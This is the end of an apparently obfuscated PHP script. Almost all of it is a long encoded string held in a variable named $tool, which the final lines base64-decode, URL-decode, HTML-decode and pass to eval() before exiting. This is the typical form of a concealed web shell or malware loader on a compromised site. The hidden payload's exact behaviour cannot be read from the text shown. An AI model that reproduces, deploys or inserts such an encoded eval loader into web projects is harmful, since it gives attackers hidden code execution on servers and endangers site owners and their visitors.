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";
eval(htmlspecialchars_decode(urldecode(base64_decode($tool))));
exit;
?>